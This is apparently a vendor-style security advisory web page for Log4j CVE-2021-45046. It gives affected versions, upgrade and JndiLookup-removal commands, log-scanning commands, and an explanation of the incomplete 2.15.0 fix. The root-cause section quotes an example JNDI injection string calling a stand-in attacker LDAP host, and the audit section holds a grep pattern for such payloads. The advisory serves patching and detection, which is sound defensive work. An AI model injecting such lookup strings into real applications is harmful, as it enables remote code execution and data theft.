Apache Log4j 2 Remote Code Execution and Information Disclosure Vulnerability (CVE-2021-45046) Security Advisory
Executive & SecOps Summary
SECOPS ASSESSMENTApache Log4j versions 2.0-beta9 to 2.15.0 (including 2.15.0 for Java 8 and 2.12.1 or below for Java 7)
Attackers can exploit JNDI Lookup patterns via Thread Context Map (MDC) inputs in non-default configurations to achieve remote code execution (RCE) or information leakage
Immediately upgrade Apache Log4j to version 2.16.0 (for Java 8+) or 2.12.2 (for Java 7+), which disables JNDI by default and removes message lookup support
Affected Products & Version Scope
Remediation & Live Workaround Commands
PATCH & WORKAROUND1. Official Patch & Version Upgrade Commands
The recommended remediation is to upgrade to Log4j 2.16.0 (for Java 8) or 2.12.2 (for Java 7), where message lookup patterns are removed and JNDI functionality is disabled by default.
For Maven (pom.xml):
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.16.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.16.0</version>
</dependency>
</dependencies>For Gradle (build.gradle):
ext['log4j2.version'] = '2.16.0'
dependencies {
implementation 'org.apache.logging.log4j:log4j-core:2.16.0'
implementation 'org.apache.logging.log4j:log4j-api:2.16.0'
}2. Temporary Workaround & Hardening Configuration
If upgrading immediately is not feasible, you must physically remove the JndiLookup class from the classpath to mitigate the vulnerability.
# Remove the JndiLookup class from the log4j-core JAR file
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class3. Log Audit & IoC Verification Commands
Use the following commands to scan for vulnerable Log4j binaries and search application logs for potential exploitation attempts.
# 1. Scan the filesystem for vulnerable log4j-core JAR files
find / -name 'log4j-core-*.jar' 2>/dev/null
# 2. Search application logs for JNDI injection patterns
egrep -I -i -r '\$\{jndi:(ldap|rmi|ldaps|dns|http|iiop|nis|nds):' /var/log/Scan Your Repositories for Transitive Vulnerable Dependencies in 30 Seconds
Automatically detect vulnerable packages across npm, PyPI, Maven, and Go, and open automated fix Pull Requests without breaking your build.
Technical Root Cause & Exploitation Mechanics
1. Vulnerability Overview & Root Cause
This vulnerability arises because the initial fix for CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete under certain non-default configurations. Log4j 2.15.0 attempted to restrict JNDI connections to localhost by default, but this restriction could be bypassed. Specifically, when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (e.g., $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC), an attacker who controls the Thread Context Map (MDC) input data can craft malicious payloads using JNDI Lookup patterns (CWE-917).
2. Exploitation Mechanics & Attack Scenario
An attacker injects a malicious JNDI lookup string (such as ${jndi:ldap://attacker.com/a}) into an input field (like HTTP headers or form inputs) that the application subsequently writes to the Mapped Diagnostic Context (MDC). When the application logs this data, the Pattern Layout parser evaluates the MDC value and triggers a JNDI lookup to the attacker-controlled LDAP/RMI directory service. This bypasses the 2.15.0 restrictions, allowing the application to fetch and execute arbitrary serialized Java objects or reference addresses, leading to remote code execution (RCE) in some environments and local code execution/information disclosure in all environments.
3. Infrastructure & Business Impact
This vulnerability is listed in the CISA KEV (Known Exploited Vulnerabilities) catalog and carries an EPSS score of 0.9998, indicating extremely high active exploitation in the wild. Successful exploitation allows unauthenticated remote attackers to gain full system-level privileges on the server running the vulnerable application. This can lead to complete infrastructure compromise, lateral movement, sensitive data exfiltration, ransomware deployment, and severe business disruption.
Official Vendor Advisories & References
It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.
Frequently Asked SecOps Questions (CVE-2021-45046)
FAQQ1. How critical is CVE-2021-45046 and is it actively exploited in the wild?
CVE-2021-45046 is rated CVSS 9.0 (CRITICAL) with a 30-day EPSS exploitation probability of 100.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.
Q2. Which vendors and products are affected by CVE-2021-45046?
Primary impacted vendors include apache across log4j. Scope summary: Apache Log4j versions 2.0-beta9 through 2.15.0 (excluding patched versions 2.12.2 and 2.16.0+)
Q3. What temporary mitigations or workarounds exist for CVE-2021-45046 before patching?
[Mitigation] Immediately upgrade Apache Log4j to version 2.16.0 (for Java 8+) or 2.12.2 (for Java 7+), which disables JNDI by default and removes message lookup support Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.
Generate an Internal Engineering Notice or CISO Report for CVE-2021-45046
Instantly format this advisory into an executive CISO summary or engineering patch ticket.
🔗 Related Advisories in Similar Stack (apache)
View Category →Apache MINA 3.0 JavaNativeMessageDecoder Deserialization Remote Code Execution Vulnerability (CVE-2026-118636)
[Affected Scope] Inactive Apache MINA 3.0.0 branch and applications utilizing its codec module
Apache Thrift Java Bindings Uncontrolled Recursion Denial of Service Vulnerability (CVE-2026-120135)
[Affected Scope] Java-based applications and services utilizing Apache Thrift versions prior to 0.24.0
Apache ActiveMQ Jolokia JMX-HTTP Bridge Remote Code Execution Vulnerability Advisory (CVE-2026-34197)
[Affected Scope] Apache ActiveMQ Classic versions prior to 5.19.4, and 6.0.0 through 6.2.3
Apache Tomcat EncryptInterceptor Bypass and Sensitive Data Exposure Vulnerability (CVE-2026-34486)
[Affected Scope] Apache Tomcat versions 11.0.20, 10.1.53, and 9.0.116 utilizing clustering with EncryptInterceptor enabled
Subscribe to Daily Vulnerability Briefings & KEV Alerts
Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.